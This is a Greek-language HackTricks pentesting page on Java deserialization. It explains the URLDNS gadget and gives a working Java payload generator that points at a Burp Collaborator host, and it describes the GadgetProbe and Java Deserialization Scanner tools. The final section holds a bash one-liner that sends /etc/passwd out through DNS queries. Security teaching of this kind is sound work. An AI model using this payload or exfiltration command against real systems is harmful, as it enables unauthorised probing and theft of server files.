Java DNS Deserialization, GadgetProbe και Java Deserialization Scanner

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

DNS αίτημα κατά την αποσειριοποίηση

Η κλάση java.net.URL υλοποιεί το Serializable, αυτό σημαίνει ότι αυτή η κλάση μπορεί να αποσειριοποιηθεί.

java
public final class URL implements java.io.Serializable {

Αυτή η κλάση έχει μια περίεργη συμπεριφορά. Από την τεκμηρίωση: “Δύο υπολογιστές θεωρούνται ισοδύναμοι αν και τα δύο ονόματα υπολογιστών μπορούν να επιλυθούν στις ίδιες διευθύνσεις IP”.
Έτσι, κάθε φορά που ένα αντικείμενο URL καλεί οποιαδήποτε από τις συναρτήσεις equals ή hashCode μια DNS αίτηση για να αποκτήσει τη διεύθυνση IP θα σταλεί.

Η κλήση της συνάρτησης hashCode από ένα αντικείμενο URL είναι αρκετά εύκολη, αρκεί να εισάγετε αυτό το αντικείμενο μέσα σε ένα HashMap που πρόκειται να αποσυμπιεστεί. Αυτό συμβαίνει επειδή στο τέλος της συνάρτησης readObject από το HashMap εκτελείται αυτός ο κώδικας:

java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

Είναι να εκτελεί το putVal με κάθε τιμή μέσα στο HashMap. Αλλά, πιο σχετική είναι η κλήση στο hash με κάθε τιμή. Αυτός είναι ο κώδικας της συνάρτησης hash:

java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Όπως μπορείτε να παρατηρήσετε, κατά την αποσειριοποίηση ενός HashMap η συνάρτηση hash θα εκτελείται με κάθε αντικείμενο και κατά τη διάρκεια της εκτέλεσης του hash θα εκτελείται το .hashCode() του αντικειμένου. Επομένως, αν αποσειριοποιήσετε ένα HashMap που περιέχει ένα αντικείμενο URL, το αντικείμενο URL θα εκτελέσει το .hashCode().

Τώρα, ας ρίξουμε μια ματιά στον κώδικα του URLObject.hashCode():

java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Όπως μπορείτε να δείτε, όταν ένα URLObject εκτελεί .hashCode(), καλείται hashCode(this). Μια συνέχεια μπορείτε να δείτε τον κώδικα αυτής της συνάρτησης:

java
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Μπορείτε να δείτε ότι εκτελείται ένα getHostAddress στο domain, εκκινώντας ένα DNS query.

Επομένως, αυτή η κλάση μπορεί να καταχραστεί προκειμένου να εκκινήσει ένα DNS query για να δείξει ότι είναι δυνατή η deserialization, ή ακόμα και για να εξάγει πληροφορίες (μπορείτε να προσθέσετε ως υποτομέα την έξοδο μιας εκτέλεσης εντολής).

URLDNS payload code example

Μπορείτε να βρείτε τον κώδικα payload URDNS από το ysoserial εδώ. Ωστόσο, απλά για να διευκολύνω την κατανόηση του πώς να το κωδικοποιήσετε, δημιούργησα το δικό μου PoC (βασισμένο σε αυτό από το ysoserial):

java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Περισσότερες πληροφορίες

GadgetProbe

Μπορείτε να κατεβάσετε GadgetProbe από το Burp Suite App Store (Extender).

GadgetProbe θα προσπαθήσει να καταλάβει αν κάποιες Java κλάσεις υπάρχουν στην Java κλάση του διακομιστή ώστε να γνωρίζετε αν είναι ευάλωτος σε κάποια γνωστή εκμετάλλευση.

Πώς λειτουργεί

GadgetProbe θα χρησιμοποιήσει το ίδιο DNS payload της προηγούμενης ενότητας αλλά πριν εκτελέσει το DNS query θα προσπαθήσει να αποσειρθεί μια αυθαίρετη κλάση. Αν η αυθαίρετη κλάση υπάρχει, το DNS query θα σταλεί και το GadgetProbe θα σημειώσει ότι αυτή η κλάση υπάρχει. Αν το DNS αίτημα ποτέ δεν σταλεί, αυτό σημαίνει ότι η αυθαίρετη κλάση δεν αποσειράθηκε επιτυχώς, οπότε είτε δεν είναι παρούσα είτε δεν είναι serializable/exploitable.

Μέσα στο github, GadgetProbe έχει κάποιες wordlists με Java κλάσεις για δοκιμή.

https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif

Περισσότερες Πληροφορίες

Java Deserialization Scanner

Αυτός ο σαρωτής μπορεί να κατέβει από το Burp App Store (Extender).
Η επέκταση έχει παθητικές και ενεργές ικανότητες.

Παθητική

Από προεπιλογή, ελέγχει παθητικά όλα τα αιτήματα και τις απαντήσεις που αποστέλλονται αναζητώντας Java serialized magic bytes και θα παρουσιάσει μια προειδοποίηση ευπάθειας αν βρεθεί κάποια:

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Ενεργή

Χειροκίνητη Δοκιμή

Μπορείτε να επιλέξετε ένα αίτημα, να κάνετε δεξί κλικ και Send request to DS - Manual Testing.
Στη συνέχεια, μέσα στην καρτέλα Deserialization Scanner Tab --> Manual testing tab μπορείτε να επιλέξετε το σημείο εισαγωγής. Και να ξεκινήσετε τη δοκιμή (Επιλέξτε την κατάλληλη επίθεση ανάλογα με την κωδικοποίηση που χρησιμοποιείται).

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Ακόμα και αν αυτό ονομάζεται "Χειροκίνητη δοκιμή", είναι αρκετά αυτοματοποιημένο. Θα ελέγξει αυτόματα αν η αποσειροποίηση είναι ευάλωτη σε οποιοδήποτε ysoserial payload ελέγχοντας τις βιβλιοθήκες που είναι παρούσες στον διακομιστή ιστού και θα επισημάνει αυτές που είναι ευάλωτες. Για να ελέγξετε για ευάλωτες βιβλιοθήκες μπορείτε να επιλέξετε να εκκινήσετε Javas Sleeps, sleeps μέσω κατανάλωσης CPU, ή χρησιμοποιώντας DNS όπως έχει αναφερθεί προηγουμένως.

Εκμετάλλευση

Αφού έχετε εντοπίσει μια ευάλωτη βιβλιοθήκη, μπορείτε να στείλετε το αίτημα στην καρτέλα Exploiting Tab.
Σε αυτή την καρτέλα πρέπει να επιλέξετε ξανά το σημείο εισαγωγής, να γράψετε τη ευάλωτη βιβλιοθήκη για την οποία θέλετε να δημιουργήσετε ένα payload, και την εντολή. Στη συνέχεια, απλώς πατήστε το κατάλληλο κουμπί Επίθεσης.

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Java Deserialization DNS Exfil πληροφορίες

Κάντε το payload σας να εκτελεί κάτι σαν το παρακάτω:

bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Περισσότερες Πληροφορίες

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks